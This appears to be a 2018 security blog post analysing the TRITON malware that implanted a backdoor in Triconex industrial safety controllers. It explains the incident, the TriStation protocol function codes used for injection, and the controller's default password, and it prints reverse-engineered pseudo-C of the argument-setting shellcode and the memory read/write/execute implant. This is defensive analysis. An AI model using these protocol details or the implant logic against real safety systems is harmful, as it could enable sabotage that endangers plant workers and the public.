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Analyzing the TRITON industrial malware
midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Last month FireEye released a report detailing an incident that their subsidiary Mandiant

responded to at a critical infrastructure organization. Here a malware framework, dubbed

TRITON (also referred to as TRISIS or HatMan), was discovered targeting the Schneider

Electric Triconex line of industrial safety systems, allegedly in order to cause physical

damage and shut down operations. The activity was believed to be consistent with a nation

state preparing for an attack. According to a Dragos report on the same malware, their team

discovered TRITON being deployed against at least one victim in the Middle East in mid-

November 2017.

This blog post aims to discuss the incident background, the TRITON framework and the

attack payload in an effort to clarify this attack in particular and attacks on industrial safety

systems in general. It draws upon previously published reports by FireEye, Dragos and ICS-

CERT as well as analysis (which can be found here) by Midnight Blue and Ali Abbasi of the

publicly available malware. Further details of the incident and malware are likely to be

discussed by others during this week's S4x18 TRITON/TRISIS session.

Summary

TRITON is the first publicly known example of malware targeting industrial safety

controllers, an escalation with serious potential consequences compared to previous ICS-

focussed incidents. It has been deployed against at least one victim in the Middle East with

no indications of victims outside of the Middle East so far. TRITON is a framework for

implanting Schneider Electric Triconex safety controllers with a passive backdoor through

which attackers can, at a later point in time, inject potentially destructive payloads.

Though the potential impact is very serious (including infrastructural damage and loss of

life resulting from sabotaging critical safety systems) it is important to nuance the threat

posed by the discovery of this malware, especially when the original attacker intent remains

speculative. In addition, the attack is not very scalable even against other Triconex safety

controllers due to the complexity of required industrial process comprehension. However, a

sufficiently knowledgeable and well-resourced attacker seeking to target a facility using

Triconex controllers as part of its safety systems could repurpose TRITON, thereby lowering

the bar somewhat by removing the barrier of reverse-engineering the proprietary TriStation

protocol. The incident is illustrative of various woes in the industrial cybersecurity world

which have been discussed extensively over the past years, ranging from devices which are

https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://www.schneider-electric.com/en/work/products/industrial-automation-control/triconex-safety-systems/
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.htm
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf
https://github.com/samvartaka/triton_analysis
https://twitter.com/bl4ckic3
https://github.com/ICSrepo/TRISIS-TRITON-HATMAN
https://s4x18.com/sessions/aurora-10-years-later-progress-failure-what-remains-to-be-learned
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'insecure by design' and have been exposed to hyper-connected environments they were not

quite designed for to a lack of basic IT/OT security hygiene and early warning insights on

part of asset owners.

Background

TRITON is one of the few publicly known examples of malware targeting Industrial Control

Systems (ICS), after Stuxnet, Havex, Blackenergy2 and Industroyer, and the first publicly

known example of malware targeting industrial safety controllers specifically. Safety

Instrumented Systems (SIS) are autonomous control systems tasked with maintaining

automated process safe states and are typically used to implement safety logic in critical

processes where serious damage or loss of life might be a risk. This is done by, for example,

monitoring temperature or pressure via sensor inputs and halting the flow or heating of

gases when dangerous thresholds are exceeded. They are usually connected to actuators (eg.

for opening or closing a valve) in order to override normal process control and halt the

runaway process.

Basic industrial safety & protection layers (source)

Safety controllers are typically a kind of Programmable Logic Controller (PLC) designed to

high standards with redundant modules and tend to have components that allow for safe

failure in case the main processor fails or power is lost. They are deployed in a manner

specific to the process environment requirements and are usually configured in one of the

IEC 61131-3 programming languages (eg. LD, ST, etc.). Of course, safety is not quite the

http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
https://www.iod.org.nz/Portals/0/Branches%20and%20events/Canterbury/BOOZ%20ALLEN%20-%20When%20the%20Lights%20Went%20Out.pdf
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
http://www.pacontrol.com/safetysystems.html
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same as security and safety controllers tend to have the same kind of 'insecure by

design' profile as a regular PLC: ie. everything from hardcoded maintenance backdoor

accounts to insecure proprietary protocols.

Traditionally, SIS connectivity is limited and systems are segregated from the rest of the

Operational Technology (OT) environment which would limit the potential impact of safety

controller security issues. But over the years, as part of a broader trend in embedded

systems in general, this isolation has made way for more and more connectivity and systems

integration. While this integration comes with benefits in terms of cost, usability and

process insights for business intelligence purposes, the flip side is that it exposes systems

that were never designed for secure connectivity in the first place to the wider OT and IT

environments and by extension to whatever the wider network itself is exposed to. The

potential implications of a malicious SIS-compromising attacker are serious and could

range from shutting down a process to allowing for unsafe states and manipulating other

parts of the OT environment to create such a state which might result in financial losses,

damage to equipment, products and the environment or human safety and loss of life.

But it's important to nuance this image and avoid alarmist headlines. First of all because

fear, uncertainty and doubt cause sensible analysis and good advice to be lost amid

sensationalism and help create a 'boy who cried wolf' effect where the stock that ICS

equipment vendors and OT asset owners and operators put in the opinions of the security

industry as a whole erodes over time. Secondly, while the initial steps along the 'ICS Kill

Chain', up to and including the compromise of the safety controller, might seem relatively

simple, crafting the 'OT payload' that actually does the damage is typically neither easy nor

scalable. As pointed out by Benjamin Green, Marina Krotofil and Ali Abbasi such attacks

require a high level of process comprehension which would have to be derived from analysis

of acquired documents, diagrams, data historian files, device configurations and network

traffic. This would have to be done on a facility-to-facility basis since even attacks against

two functionally similar facilities will require attackers to take differences in process scale

and design, equipment and device configuration into account.

In the case of SIS that means that a security compromise does not trivially compromise

process safety. Apart from the SIS, the facility in question might have safety measures

ranging from sacrificial parts in machines, enclosures and blast dampers to alarms and

emergency procedures and as such assessing the implications of SIS compromise would

require facility-specific process comprehension as well. This does not mean that such worst-

case scenarios are infeasible but that the attacker space capable of bringing them about and

their scalability are more limited than often portrayed.

The Incident

http://www.digitalbond.com/blog/2013/11/04/insecure-by-design-secure-by-design/
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
http://eprints.lancs.ac.uk/88089/1/sample_sigconf.pdf
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The FireEye report claims that the attacker gained remote access to a Triconex engineering

workstation running Microsoft Windows as well as the Distributed Control System (DCS).

The attacker deployed a Py2EXE application, which was disguised as a benign Triconex log

reviewing application named Trilog.exe, containing the TRITON framework on the

engineering workstation together with two binary payload files named inject.bin and

imain.bin. TRITON does not leverage any 0-days but instead reprograms the target safety

controllers via the TriStation protocol (discussed below) which lacks authentication (though

ACLs could have been configured on the controllers). As the TriStation protocol is

proprietary and undocumented this means the attacker had to reverse engineer it, possibly

through a combination of using similarities with the documented Triconex System Access

Application (TSAA) protocol, inspection of traffic between the engineering workstation and

the controller and reverse-engineering of workstation software and controller firmware.

The TRITON framework is capable of autodiscovering Triconex controllers on the network

by sending a UDP broadcast message over port 1502 but this functionality was not used

during the incident. Instead the IP addresses of the target controllers were specified directly

and upon connection the status of the controller was retrieved over TriStation. If the

controller was running the inject.bin and imain.bin payload files were injected into the

controller program memory and a periodic check was initiated to see if any error was

detected. If so, TRITON would reset the controller to the previous state over Tristation and

if this failed it would write a dummy program to memory in what was likely an attempt at

anti-forensics. During the incident, the industrial process was shutdown as a result of some

controllers entering a failed safe state which caused the asset owner to initiate the

investigation. The cause of this failed safe state was reportedly a failed validation check

between the three separate redundant Triconex processor modules.

The fact that both the DCS and SIS systems were compromised suggests the attacker

intended to cause serious damage rather than a mere process shutdown. This hypothesis is

strengthened (though not indisputably confirmed) by the fact that the attacker apparently

made several attempts to deliver a specific control logic to the safety controllers rather than

merely shut them down.

Triconex Safety Instrumented Systems (SIS)

The Schneider Electric Triconex line of safety controllers consists of the Tricon (CX),

Trident and Tri-GP systems all of which share the triple modular redundancy (TMR)

architecture. While the incident targeted Tricon 3008 controllers specifically, the heart of

the attack is the (ab)use of the unauthenticated TriStation protocol and as such all safety

controllers running this protocol are potentially affected.

According to the Planning and Installation Guide for Tricon v9–v10 Systems, a basic Tricon

controller consists of the Main Processors, I/O modules, communication modules, chassis,

field wiring connections and an engineering workstation PC communicating with the

https://www.nrc.gov/docs/ML0932/ML093290420.pdf
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Tricon 3008 front panel (source)

controller over TriStation. A chassis houses

three Main Processor (MP) Modules, each of

which serve one channel (or 'leg') of the

controller and independently executes the

control program and communicates with its

own I/O subsystem (every I/O module has

three independent channels for serving the

three MPs) in parallel with the other Main

Processors. The three MP modules, which

operate autonomously without shared clocks,

power regulation or circuitry, then compare

data and control program at periodic intervals

and synchronize with their neighbors over a

high-speed proprietary communications bus

named TriBus. TriBus consists of three

independent serial links. Hardware voting on

the I/O data takes place over TriBus among the

MPs and if disagreement occurs, the signal in

two out of three prevails and the third MP is

corrected. Here one-time differences are

distinguished from patterns of differences.

This Triple Modular Redundant (TMR)

architecture is designed for fault tolerance in

the face of transient faults or component

failures.

https://www.nrc.gov/docs/ML0932/ML093290420.pdf
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There are a variety of communication modules, talking to the Main Processors over the

communication bus, for Triconex controllers to facilitate serial and network

communications across a variety of protocols. Examples include the Advanced

Communication Module (ACM) which acts as an interface between a Tricon controller and a

Foxboro Intelligent Automation (I/A) Series DCS, the Hiway Interface Module (HIM)

which acts as an interface between a Tricon controller and a Honeywell TDC-3000 control

system or the Tricon Communication Module (TCM) which allows communications with

TriStation, other Triconex controllers, Modbus master/slave devices and external hosts over

Ethernet networks. These communications include the documented Tricon System Access

Application (TSAA) protocol, a multi-slave master/slave protocol used to read and write

data points, and the undocumented TriStation protocol, a single-slave master/slave protocol

used by the TriStation 1131 or MSW engineering workstation software to develop and

download the control program running on the Triconex controllers. By default, Ethernet

communications for TSAA take place over UDP port 1500 while those for TriStation take

place over UDP port 1502.

The Triconex controllers have a physical four-position key switch which can be set to either

RUN (normal operation, read-only but can be overridden by a GATENB function block in

the control program), PROGRAM (allows control program loading and verification), STOP

(stop reading inputs, forces non-retentive digital and analog outputs to 0, and halts the

control program. This position can be overridden by TriStation) or REMOTE (allows writes

to control program variables). However, in the incident in question the target controllers

were left in PROGRAM mode and the payload injected by TRITON (described below) allows

subsequent malicious modifications by means of communications with the implant

regardless of key switch position.

https://www.nrc.gov/docs/ML0932/ML093290423.pdf
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A control program is developed and debugged with the TriStation 1131 / MSW software,

downloaded to the controller over the TriStation protocol, stored in Flash and then loaded

into SRAM or DRAM (depending on the Tricon version) to be executed by the Main

Processor module. The control program is translated from one of the IEC 61131-3 languages

(LD, FBD, ST) into native PowerPC machine code and interfaces only with the main

processor.

Shortly after the incident was disclosed, the TRITON framework and payloads were found

to be publicly available from multiple sources. The payload files (eg. imain.bin) contain

PowerPC shellcode and from this we can infer that the target Triconex controllers in the

incident seem to have been using the Tricon 3008 Main Processor Modules. Since older

Tricon MPs such as the 3006 or 3007 would use the 32-bit National Semiconductor

32GX32 and newer ones such as the 3009 use a (reportedly ARM) dual-core 32-bit

processor running at 800MHz, the 3008 are the only Tricon MPs (to our knowledge) which

use the PowerPC architecture. More specifically they use the 32-bit Freescale PowerQUICC

MPC860EN microcontroller, a detail which will be relevant when dissecting the shellcode

payloads later on.

The Tricon 3008 MP runs the Enhanced Triconex System Executive (ETSX) firmware

(stored in flash) which executes the control program on the main processor. On older Tricon

MP modules firmware updates had to take place by manually replacing EPROMs made

https://github.com/ICSrepo/TRISIS-TRITON-HATMAN
https://www.nxp.com/products/processors-and-microcontrollers/power-architecture-processors/powerquicc-processors/powerquicc-i/mpc860-powerquicc-processor:MPC860
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accessible through cutouts in module side panel but on the Tricon 3008 firmware can be

upgraded over Ethernet through the port on the front panel. This can be done by connecting

the Ethernet port to a workstation PC running the TcxFwm.exe firmware manager. The

dedicated Input and Output Control and Communication (IOCCOM) processor (also an

MPC860EN) runs its own firmware separate from the ETSX which can be upgraded in the

same fashion using the firmware manager.

The TRITON Framework

The rather lean TRITON framework was built to facilitate interacting with a Tricon

controller via the unauthenticated TriStation protocol over Ethernet. It is capable of

functionality such as reading and writing control programs and data, running and halting a

program and retrieving status information. The framework is written in Python and consists

of the following components:

TS_cnames.py: contains named lookup constants for TriStation protocol function and

response codes as well as key switch and control program states.

 
 

TsHi.py: the high-level interface of the framework which allows for reading and

writing functions and programs as well as retrieving project information and

interaction with the implant payload (as described later). Most interestingly, it

includes the SafeAppendProgramMod function which fetches the program table,

reads programs and functions and appends supplied shellcode to an existing control

program. It also handles CRC32 checksums where necessary.

 
 

TsBase.py: acts as a translation layer between the high-level interface and the low-

level TriStation function codes and data formatting for functionality such as uploading

and downloading of programs or fetching control program status and module

versions.

 
 

TsLow.py: the lowest layer which implements the functionality to send TriStation

packets crafted by the upper layers to the Tricon Communication Module (TCM) over

UDP. Also includes auto-discovery of Tricon controllers by sending an UDP 'ping'

broadcast message (0x06 0x00 0x00 0x00 0x00 0x88) on port 1502.

Finally, apart from the framework there is a script named script_test.py which uses the

framework to connect to a Tricon controller and inject a multi-stage payload described later

on.

The TriStation Protocol
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The TriStation protocol is a typical UDP-based serial-over-ethernet protocol as encountered

throughout the world of industrial control systems. Request packets consist of a 2-byte

function code (FC) followed by a counter ID, length field and request data together with

checksums. Responses consist of a response code (RC), length field, response data and

checksums.

While we will not exhaustively document the TriStation protocol as reconstructed from the

TRITON framework here, the 'heart' of the TRITON attack lies in the following sequence of

function codes and expected response codes:

'Start download change' (FC: 0x01). Expects 'Download change permitted' (RC:

0x66). Arguments are `[old_name] [version info] [new_name] [program info]`.

 

'Allocate program' (FC: 0x37). Expects 'Allocate program response' (RC: 0x99).

Arguments are `[id] [next] [full_chunks] [offset] [len] [data]`.

 

'End download change' (FC: 0x0B). Expects 'Modification accepted' (RC: 0x67).

Apart from that the following TriStation command is used to communicate with the implant

after it has been successfully injected:

'Get MP status' (FC: 0x1D). Expects 'Get system variables response' (RC: 0x96).

Arguments are `[cmd] [mp] [data]`.

Interestingly, the TriStation Developer's Guide mentions it is possible to restrict access to a

Tricon controller from a TriStation PC.Projects themselves can be 'password protected'

(though in practice this often comes down to a hashed or even plaintext password stored in

the project file which the workstation software checks upon opening the project) and a

password can be required for connecting to the controller (which is specified in the project

and takes effect after it has been downloaded to the controller). Such a password is not

present initially and by default the password is 'PASSWORD'. Seeing as how the TriStation

protocol itself is unencrypted, however, any attacker capable of observing network traffic

between the controller and workstation is likely to be able to circumvent such a protection.

The developer's guide also mentions that model 4351A and 4352A TCMs allow for IP-based

client access control lists to be specified which regulate access to a resource (ability to

perform download change or download all, access to diagnostic information, etc.) at a

certain level (deny, read only or read/write). It seems that this functionality could

potentially be used to restrict from what IP addresses the TRITON framework could inject

its payload or communicate with the implant but the strength of such a workaround would

rely on mitigating the ability of the attacker to move laterally among engineering

workstations. UDP IP spoofing could also be a problem here.

The Payload

https://www.nrc.gov/docs/ML0932/ML093290423.pdf
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The payload used in the incident can be thought of as a four-stage shellcode. The first stage

is an argument-setting piece of shellcode. The second stage is formed by inject.bin (which is

currently not publicly available) which functions as an implant installer. The third stage is

formed by imain.bin (discussed below) which functions as a backdoor implant capable of

receiving and executing the fourth stage. The final stage would have been formed by an

actual 'OT payload' performing the disruptive operations but apparently no such payload

was recovered during the incident since the attacker was discovered while preparing the

implant. A high-level description of the first two stages can be found in the United States

Department of Homeland Security ICS-CERT report on TRITON/TRISIS/HatMan.

Stage 1: Argument-Setter (PresetStatusField)

After connecting to the target controller the script calls PresetStatusField which injects a

piece of shellcode using SafeAppendProgramMod. What this shellcode does is iterate

through memory from address 0x800000 to 0x800100 (in DRAM) until it finds an address

where two 32-bit marker values 0x400000 and 0x600000 reside side-by-side. If it finds

this, it writes a value (0x00008001) to offset 0x18 from this address. We reverse-

engineered and created a cleaned-up pseudo-c for this shellcode:

r2 = 0x800000; 

while (true) 
{ 
   if ((uint32_t)*(uint32_t*)(r2) == 0x400000) // cp_status.us 
   { 
       if ((uint32_t)*(uint32_t*)(r2 + 4) == 0x600000) // cp_status.ds 
       { 
           r2 += 0x18; // cp_status.fstat 
           *(uint32_t*)(r2) = (uint32_t)value; 
           break; 
       } 
   } 

   if ((r3 & 0xffffffff) >= 0x800100) 
   { 
       break; 
   } 

   r2 += 4; 
} 

system_call(-1); 

This shellcode writes the attacker-supplied value into the 'fstat' field of the Control

Program (CP) Status structure. This is followed by a TriStation request for the CP status

and a check to see whether the returned value equals the supplied value. The value in

question (0x00008001) is used as an argument by the second-stage inject.bin shellcode.

Stage 2: Implant Installer (inject.bin)

https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf
https://github.com/ICSrepo/TRISIS-TRITON-HATMAN/blob/c27fcae3dcb0d0ce36ddeef081851039c4a0658d/decompiled_code/script_test.py#L12
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Since inject.bin has not been publicly released, we will limit our discussion here to what has

been published by other parties and can be inferred from the publicly available materials.

Based on these resources it is our conjecture that inject.bin is an implant installer which

relocates the imain.bin implant backdoor to part of the Enhanced Triconex System

Executive (ETSX) in order to allow for attacker read/write/execute access to safety

controller memory regardless of the Tricon key switch position.

After the argument-setting shellcode has been injected, inject.bin and imain.bin are injected

using SafeAppendProgramMod. It is interesting to note here that imain.bin is sandwiched

between two markers (0x1234 and 0x56789A) and length fields. The ICS-CERT report

mentions inject.bin assumes the argument written by the first stage payload resides at a

static address and uses it as 1) a countdown for the number of cycles to idle 2) a step counter

to track and control execution progress and 3) a field for writing debug information upon

failure. In this way the attacker can monitor inject.bin for problems. If no problems are

detected 'Script SUCCESS' is output and a dummy program containing nothing but a

system_call(-1); is forcefully appended.

inject.bin control-flow (source)

The inject.bin shellcode has the above flowchart (courtsey of the ICS-CERT report) and

seems to be a finite state machine which starts by waiting for a number of cycles before

issuing a number of system calls and checking their results. If these checks are passed, the

https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf
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imain.bin shellcode is relocated and the function pointer of the 'get main processor

diagnostic data' TriStation command is changed to the address of the relocated imain.bin

so that it is executed prior to the normal handler.

As Reid Wightman noted, inject.bin seems to contain egg-hunter functionality hunting for

the 0x1234 and 0x56789A 'eggs' surrounding imain.bin. This is probably due to a lack of

control by the TriStation functionality underlying SafeAppendProgramMod in determining

where the injected code ends up which would require a piece of GetPC code to determine

where inject.bin currently lives and a subsequent egghunt to determine where any other

injected code or data lives if one cannot be sure offsets remain static upon injection. After

this information is known to inject.bin it can safely relocate imain.bin.

Stage 3: Backdoor Implant (imain.bin)

The third stage shellcode, imain.bin, is a backdoor implant which allows an attacker to have

read/write/execute access to safety controller memory regardless of the Tricon key switch

position or any reset of control programs by the engineering workstation. This would allow

an attacker to inject and execute a disruptive 'OT payload' at a later moment. It is currently

unclear whether the backdoor would persist across a safety controller reboot as it seems to

modify the in-memory copies of the control program and firmware rather than their on-

flash copies. The FireEye report mentions that they patched the attacker script to allow for

in-memory persistence of the payload but this seems unrelated to cross-reboot persistence.

It is executed before the actual handler for the TriStation 'get main processor diagnostic

data' command and looks for a specifically crafted packet body from which it extracts a

command value and its arguments. It supports three commands: reading and writing from

and to memory as well as executing code at an arbitrary address. It is capable of making

non-persistent changes to the running firmware by disabling address translation, writing to

it and then flushing the instruction cache and re-enabling address translation.

The TRITON framework can communicate with the implant over the aforementioned

channel by using the TsHi.ExplReadRam(Ex), TsHi.ExplWriteRam(Ex) and

TsHi.ExplExec functions which utilize the TsBase.ExecuteExploit function. The latter

function send a TriStation 'get main processor diagnostic data' command with a crafted

packet body of the form:

[command (1 byte)] [MP (1 byte)] [field_0 (4 bytes)] [field_1 (4 bytes)] [field_2 (N bytes)]

We reverse-engineered the imain.bin implant and manually reconstructed the following

approximation in pseudo-C:

https://vimeo.com/248057640
http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
https://nets.ec/Shellcode/Environment#GetPc
https://github.com/ICSrepo/TRISIS-TRITON-HATMAN/blob/c27fcae3dcb0d0ce36ddeef081851039c4a0658d/decompiled_code/library/TsHi.py
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#define M_READ_RAM  0x17 
#define M_WRITE_RAM 0x41 
#define M_EXECUTE   0xF9 

struct argument_struct 
{ 
   uint16_t unknown_ui16_00; 
   uint8_t unknown_ui8_02; 
   uint16_t return_value; 
   uint8_t cmd;                // cmd field 
   uint8_t mp;                    // mp field 
   uint32_t field_0;            // argument field 0 (eg. size) 
   uint32_t field_1;            // argument field 1 (eg. address) 
   uint8_t  field_3[...];      // argument field 3 (eg. data) 
};

void imain(void) 
{ 
   arg = (struct argument_struct*)get_argument(); 
   // Retrieve implant command and MP value 
   cmd = arg->cmd; 
   mp = arg->mp; 
   compare_mp = *(uint8_t*)(0x199400); 

   if ((mp == compare_mp) || (mp == 0xFF)) 
   { 
       mp = arg->return_value; 

       // Check implant command 
       switch (cmd) 
       { 
           // Read N bytes from RAM at address X 
           case M_READ_RAM: 
           { 
               if (mp >= 0x14) 
               { 
                   size = arg->field_0; 
                   address = arg->field_1; 

                   if ((size > 0) && (size <= 0x400)) 
                   { 
                       memcpy(&arg->cmd, address, size); 
                       return_value = (size + 0xA); 
                   } 
                   else 
                   { 
                       goto main_end; 
                   } 
               } 
               else 
               { 
                   goto main_end; 
               } 

           }break; 
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           // Write N bytes to RAM at address X 
           case M_WRITE_RAM: 
           { 
               size = arg->field_0; 
               address = arg->field_1; 
               data = arg->field_3; 

               if ((size > 0) && (size == (mp - 0x14))) 
               { 
                   reenable_address_translation = 0; 

                   if (address < 0x100000) 
                   { 
                       reenable_address_translation = 1; 
                       disable_address_translation(); 
                   } 

                   memcpy(address, &data, size); 

                   if (reenable_address_translation == 1) 
                   { 
                       enable_address_translation(); 
                   } 

                   return_value = 0xA; 
               } 
               else 
               { 
                   goto main_end; 
               } 

           }break; 

           // Execute function at address X 
           case M_EXECUTE: 
           { 
               if (mp >= 0x10) 
               { 
                   function_ptr = arg->field_0; 

                   if (function_ptr < 0x100000) 
                   { 
                       call(function_ptr); 
                       return_value = 0xA; 
                   } 
                   else 
                   { 
                       goto main_end; 
                   } 
               } 
               else 
               { 
                   goto main_end; 
               } 
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           }break; 
       } 

       switch_end: 
           arg->unknown_ui8_02 = 0x96; 
           arg->return_value = return_value; 
           tristation_mp_diagnostic_data_response(); 

   } 

   // This most likely continues with the actual TriStation 'get main processor 
diagnostic data' handler 
   main_end: 
       jump(0x3A0B0); 
} 

void disable_address_translation(void) 
{ 
   mtpsr eid, r3;    // External Interrupt Disable (EID) = r3 
   r4 = -0x40;        // 11111111111111111111111111011000; Sets IR=0 (Instruction 
address translation is disabled), DR=1 (Data address translation is enabled) 
   mfmsr r3;        // r3 = Machine State Register 
   r3 = r4 & r3;    // Disable instruction address translation 
   mtmsr r3;        // Machine State Register = r3 
   return; 
} 

void enable_address_translation(void) 
{ 
   r3 = 0xC000000;        // 00001100000000000000000000000000; IC_CST CMD = 110 
(Instruction cache invalidate all command) 
   mtspr ic_csr, r3;    // Instruction Cache Control and Status Register = r3. 
   isync;                // Synchronize context, flush instruction queue 
   mfmsr r3;             // r3 = Machine State Register 
   r3 |= 0x30;         // 110000; Sets IR=1 (Instruction address translation is 
enabled), DR=1 (Data address translation is enabled) 
   mtmsr r3;             // Machine State Register = r3 
   sync;                 // Ordering to ensure all instructions initiated prior to 
the sync instruction complete and no subsequent ones initiate until synced 
   mtspr eie, r3;         // External Interrupt Enable (EIE) = r3 
   return; 
} 

// This most likely retrieves the argument to the TriStation 'get main processor 
diagnostic data' command 
void get_argument(void) 
{ 
   r3 = r31; 
   jump(0x6B9CC); 
} 

// This most likely sends a response to the TriStation 'get main processor 
diagnostic data' command 
void tristation_mp_diagnostic_data_response(void) 
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{ 
   r3 = r31; 
   jump(0x68F0C); 
} 

Stage 4: Missing OT Payload

In order to affect operations beyond a mere process shutdown (ie. the dreaded cyber-

physical damage scenario), a fourth-stage 'OT payload' causing or facilitating a safety failure

would be required. As mentioned before, however, it was claimed no OT payload was

recovered during the incident. The absence of an OT payload on the compromised

engineering workstation could imply it would have been dropped later after initial safety

controller implantation tests had passed. It is conceivable an attacker would want to make

sure multiple safety controllers were properly implanted and working before activating a

possibly complicated (collection of) OT payload(s). But it's also possible the attacker hadn't

started to develop a proper OT payload yet while they were already implanting the

controllers. Regardless, any assessment of the attacker's end game under these conditions

remains speculative.

 

 


